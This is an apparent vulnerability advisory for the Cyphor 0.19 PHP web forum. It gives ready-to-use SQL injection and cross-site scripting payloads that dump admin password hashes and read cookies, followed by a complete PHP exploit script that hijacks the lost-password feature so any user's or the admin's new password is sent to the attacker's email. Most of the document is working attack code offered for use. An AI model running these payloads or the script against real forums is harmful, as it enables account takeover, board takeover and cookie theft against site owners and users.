Cyphor version 0.19 suffers from SQL injection and cross site scripting flaws. Full proof of concept exploit provided.
e2024c715e0493e8c0fc2ac8ef88c0b249a80be26526a4ab811731ab42839272<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-identifier">Cyphor 0.19 SQL Injection / Board takeover / cross site scripting
software:
site: https://www.cynox.ch/cyphor/
description: Cyphor is a fast PHP4 + MySQL thread-based webforum
1)if magic quotes off -> SQL Injection:
by "Forgot your password?" feature you can send yourself a new admin password and reset it, poc:
email: [your_email]
nick: 'or'X'='X
soon, you will receive an email like this:
You have registered for a Cyphor forum (My Discussions). This is your confirmation.
Your username is: 'or'X'='X
Your password is: mixa-13b
now you can go to Administration panel, create/edit/delete forums/group/users,
you can insert evil javascript code in terms of usage or welcome message
2) SQL Injection II:
to see table_prefix (usually "cyphor_")
https://[target]/cyphor/newmsg.php?fid='
now you can see at screen admin password hash by this url:
https://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_prefix]users%20/*
(it is encrypted by cript() function with username as key, one way...but can try to bruteforce it)
3) xss (you can sql inject a javascript, it is showned at screen...):
https://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20null,%20"<script>alert(document.cookie)</script>",%20null,%20null/*
4) xss II:
https://[target]/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
mphhh... you see clear text password as I see? ;)
and so on... a lot of uninitialized vars showned at screen in footer.php...
this is my proof of concept exploit, with this you can have a new password for any user/admin:
<?php
# --- cyphor019_xpl.php 7.36 08/10/2005 #
# #
# Cyphor 0.19 ( possibly prior versions) SQL injection / board takeover #
# #
# by rgod #
# site: https://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# send yourself any user / admin password right now! #
# #
# Sun Tzu: "There are five ways of attacking with fire. The first is to burn #
# soldiers in their camp; the second is to burn stores; the third is to burn #
# baggage trains; the fourth is to burn arsenals and magazines; the fifth is #
# to hurl dropping fire amongst the opponent." #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>Cyphor 0.19 SQL Injection/board takeover </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBr81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Cyphor 0.19 (possibly prior versions) SQL injection / board takeover </p><p
class="Stile6"> a script by rgod at <a href="https://rgod.altervista.org"
target="_blank"> https://rgod.altervista.org</a></p> <table width="84%"><tr> <td
width="43%"><form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=
value&host=value&port=value&username=value&proxy=value&your_email=value"> <p>
<input type="text" name="host"><span class="Stile5"> hostname (ex: www.sitename.
com)</span></p><p><input type="text" name="path"><span class="Stile5"> path (ex:
/cyphor/ or /forum/ or just /)</span></p><p><input type="text" name="port"><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="username"><span class="Stile5">user whom you want the password
,admin? ;) </span> </p> <p> <input type="text" name="your_email"><span
class="Stile5"> email where the password will be sent</span> </p> <p> <input
type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP prox
y (ip:port) </span></p><p><input type="submit" name="Submit" value="go!"></p>
</form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host).'...';
die;
}}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
define('EMAIL_PREG', '#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#');
define('USER_PREG', '#^[A-Za-z0-9_\-]+$#');
if (($path<>'') and ($host<>'') and ($your_email<>'') and ($username<>''))
{
if (!preg_match(EMAIL_PREG, $your_email)) {echo '<br>Need a valid email...'; die;}
if (!preg_match(USER_PREG, $username)) {echo '<br>Need a valid username...'; die;}
if ($port=='') {$port=80;}
if ($proxy=='') {$p=$path;} else {$p='https://'.$host.':'.$port.$path;}
#STEP 1 -> retrieve the table prefix...
$packet="GET ".$p."show.php?fid=' HTTP/1.0 \r\n";
$packet.="User-Agent: GetRight/4.5xx\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);
$temp=explode("SELECT * FROM ",$html);
$temp2=explode("forums WHERE",$temp[1]);
$table_prefix=trim($temp2[0]);
echo '<br> Table prefix ->'.htmlentities($table_prefix);
if ($table_prefix=='') {echo 'Exploit failed...'; die;}
#STEP 2 -> send yourself a new password...
$sql="') UNION SELECT * FROM ".$table_prefix."users WHERE nick='".$username."'/*";
$sql=urlencode($sql);
$data="email=".urlencode($your_email)."&nick=".$sql."&submit=Submit";
$packet="POST ".$p."lostpwd.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: https://".$host.":".$port.$path."lostpwd.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Internet Ninja x.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("New password sent.",$html)) {echo '<br>Exploit successful...check your email box...';}
else {echo '<br>Exploit failed...';}
}
else
{ echo 'Fill in requested fields, optionally specify a proxy...'; }
?>
rgod
site: https://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: https://rgod.altervista.org/cyphor019.html
</span></span>
</code></pre>
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